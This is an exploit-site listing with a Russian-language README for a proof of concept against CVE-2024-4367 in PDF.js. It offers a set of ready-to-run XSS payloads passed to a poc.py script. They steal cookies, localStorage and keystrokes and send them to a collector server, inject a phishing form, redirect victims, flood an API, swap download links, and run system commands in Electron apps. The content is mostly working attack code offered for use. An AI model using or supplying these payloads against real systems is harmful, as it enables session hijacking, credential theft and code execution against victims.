Sploitus

Exploit for CVE-2024-4367-POC-PDFJS

kitploit Β· 2026-09-04

Exploit Code

MARKDOWN164 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ELAMANI-DRAWING-CVE-2024-4367-POC-PDFJS
# CVE 2024 4367: PoC для эксплуатации XSS (ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг)

### 1\. **ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ прСдупрСТдСния (Запуск XSS)**

Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ эксплуатации β€” Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ простого сообщСния-прСдупрСТдСния для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΡΡ‚ΠΈ Π°Ρ‚Π°ΠΊΠΈ.

root@kitploit:~
    
    
    python poc.py "alert('XSS exploit triggered');"
    

  * **ПояснСниС** : Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ внСдряСт Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π½Π° страницу, Ρ‡Ρ‚ΠΎ позволяСт быстро ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, выполняСтся Π»ΠΈ эксплойт XSS Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΌ сайтС.



* * *

### 2\. **ΠšΡ€Π°ΠΆΠ° ΠΊΡƒΠΊΠΈ**

XSS-Π°Ρ‚Π°ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΊΡ€Π°ΠΆΠΈ ΠΊΡƒΠΊΠΈ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈΡ… Π½Π° врСдоносный сСрвСр.

root@kitploit:~
    
    
    python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
    

  * **ПояснСниС** : Π‘ΠΊΡ€ΠΈΠΏΡ‚ измСняСт URL страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΡƒΠΊΠΈ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° врСдоносный сСрвСр (`http://localhost:3000/cookie`).



* * *

### 3\. **ΠšΡ€Π°ΠΆΠ° локально Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (LocalStorage)**

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, хранящиСся Π² `localStorage` ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ информация ΠΎ сСссии.

root@kitploit:~
    
    
    python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
    

  * **ПояснСниС** : Код ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· `localStorage` ΠΈ отправляСт ΠΈΡ… Π½Π° врСдоносный сСрвСр Ρ‡Π΅Ρ€Π΅Π· запрос `fetch`.



* * *

### 4\. **ВрСдоносноС ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅**

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΆΠ΅Ρ€Ρ‚Π²Ρƒ Π½Π° врСдоносный сайт для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ эксплойта.

root@kitploit:~
    
    
    python poc.py "window.location.href='http://localhost:3000';"
    

  * **ПояснСниС** : Π­Ρ‚ΠΎΡ‚ скрипт Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ пСрСнаправляСт ΠΆΠ΅Ρ€Ρ‚Π²Ρƒ Π½Π° врСдоносный сайт, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Ρ‹Ρ… Π°Ρ‚Π°ΠΊΠ°Ρ… ΠΈΠ»ΠΈ для установки врСдоносного ПО.



* * *

### 5\. **DDoS-Π°Ρ‚Π°ΠΊΠ° (Π€Π»ΡƒΠ΄ API)**

Π•Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ‚ΠΈΠΏ Π°Ρ‚Π°ΠΊΠΈ β€” Π·Π°Ρ‚ΠΎΠΏΠ»Π΅Π½ΠΈΠ΅ сСрвСра запросами, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΡƒΡ…ΡƒΠ΄ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Π½ΠΈΡŽ обслуТивания.

root@kitploit:~
    
    
    python poc.py  "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
    

  * **ПояснСниС** : Π‘ΠΊΡ€ΠΈΠΏΡ‚ отправляСт 100 HTTP-запросов ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠΉ API, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΡƒ сСрвСра (Π°Ρ‚Π°ΠΊΠ° Ρ‚ΠΈΠΏΠ° Β«ΠΎΡ‚ΠΊΠ°Π· Π² обслуТивании»).



* * *

### 6\. **ΠšΠ΅ΠΉΠ»ΠΎΠ³Π³Π΅Ρ€ (ΠšΡ€Π°ΠΆΠ° Π½Π°ΠΆΠ°Ρ‚ΠΈΠΉ клавиш)**

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ наТатия клавиш ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹, Ρ‡Ρ‚ΠΎ позволяСт Π΅ΠΌΡƒ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈΠ»ΠΈ Π»ΠΎΠ³ΠΈΠ½Ρ‹.

root@kitploit:~
    
    
    python poc.py """document.addEventListener('keydown', function(e) {
        fetch('http://localhost:3000/keylogger?key=' + e.key);
    });"""
    

  * **ПояснСниС** : Π­Ρ‚ΠΎΡ‚ скрипт записываСт ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ клавиши ΠΆΠ΅Ρ€Ρ‚Π²ΠΎΠΉ ΠΈ отправляСт эти Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° врСдоносный сСрвСр.



* * *

### 7\. **Ѐишинг Ρ‡Π΅Ρ€Π΅Π· Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ (ΠšΡ€Π°ΠΆΠ° ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…)**

Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ XSS для внСдрСния Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π° Π²Π΅Π±-страницу ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠ°Ρ€ΠΎΠ»ΡŒ, имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ).

root@kitploit:~
    
    
    python poc.py """
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://localhost:3000/phishing';
    var input = document.createElement('input');
    input.type = 'text';
    input.name = 'username';
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
    """
    

  * **ПояснСниС** : Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ внСдряСт Ρ„ΠΎΡ€ΠΌΡƒ Π½Π° страницу, позволяя Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отправляСт Ρ‡Π΅Ρ€Π΅Π· эту Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²ΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒ.



* * *

### 8\. ПодмСна (Π‘ΠΏΡƒΡ„ΠΈΠ½Π³)

Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ собираСтся Π½Π°ΠΆΠ°Ρ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ Ρ†Π΅Π»ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.

root@kitploit:~
    
    
    const a = document.createElement('a');
    a.href = "https://example.com/fichier.pdf";
    a.download = "fichier.pdf"; 
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
    

  * **ПояснСниС** : Π­Ρ‚ΠΎΡ‚ скрипт обновляСт ссылку Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ; идСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΈ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ вмСсто ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° загруТался врСдоносный.



* * *

### 9\. **Атаки Π½Π° Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Π΅ прилоТСния (Electron, NW.js)**

root@kitploit:~
    
    
    python poc.py "require('child_process').exec('calc.exe')"
    

ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ, созданныС Π½Π° Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Ρ…, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Electron ΠΈΠ»ΠΈ NW.js, Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ XSS-Π°Ρ‚Π°ΠΊΠ°ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Π΅ прилоТСния с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ доступом.  
Π­Ρ‚ΠΈ прилоТСния благодаря своим Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΠΌ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π°ΠΉΠ»Π°ΠΌ, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ внСшниС процСссы ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ прилоТСния Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ машинС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€, тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈ Ρ‚.Π΄.). Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°ΠΊΠΈΠ΅ прилоТСния ΡΠΎΡ‡Π΅Ρ‚Π°ΡŽΡ‚ ΠΌΠΎΡ‰ΡŒ Π²Π΅Π±Π° с Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΌ доступом ΠΊ систСмС.

* * *

## Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

Атаки, ΡΠΊΡΠΏΠ»ΡƒΠ°Ρ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ CVE (Common Vulnerabilities and Exposures), ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ XSS-Π°Ρ‚Π°ΠΊ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ уязвимости Π² Π²Π΅Π±- ΠΈΠ»ΠΈ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Ρ… прилоТСниях, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ врСдоносный ΠΊΠΎΠ΄, ΡƒΠΊΡ€Π°ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ сСссиями ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ врСдоносныС дСйствия Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ систСмС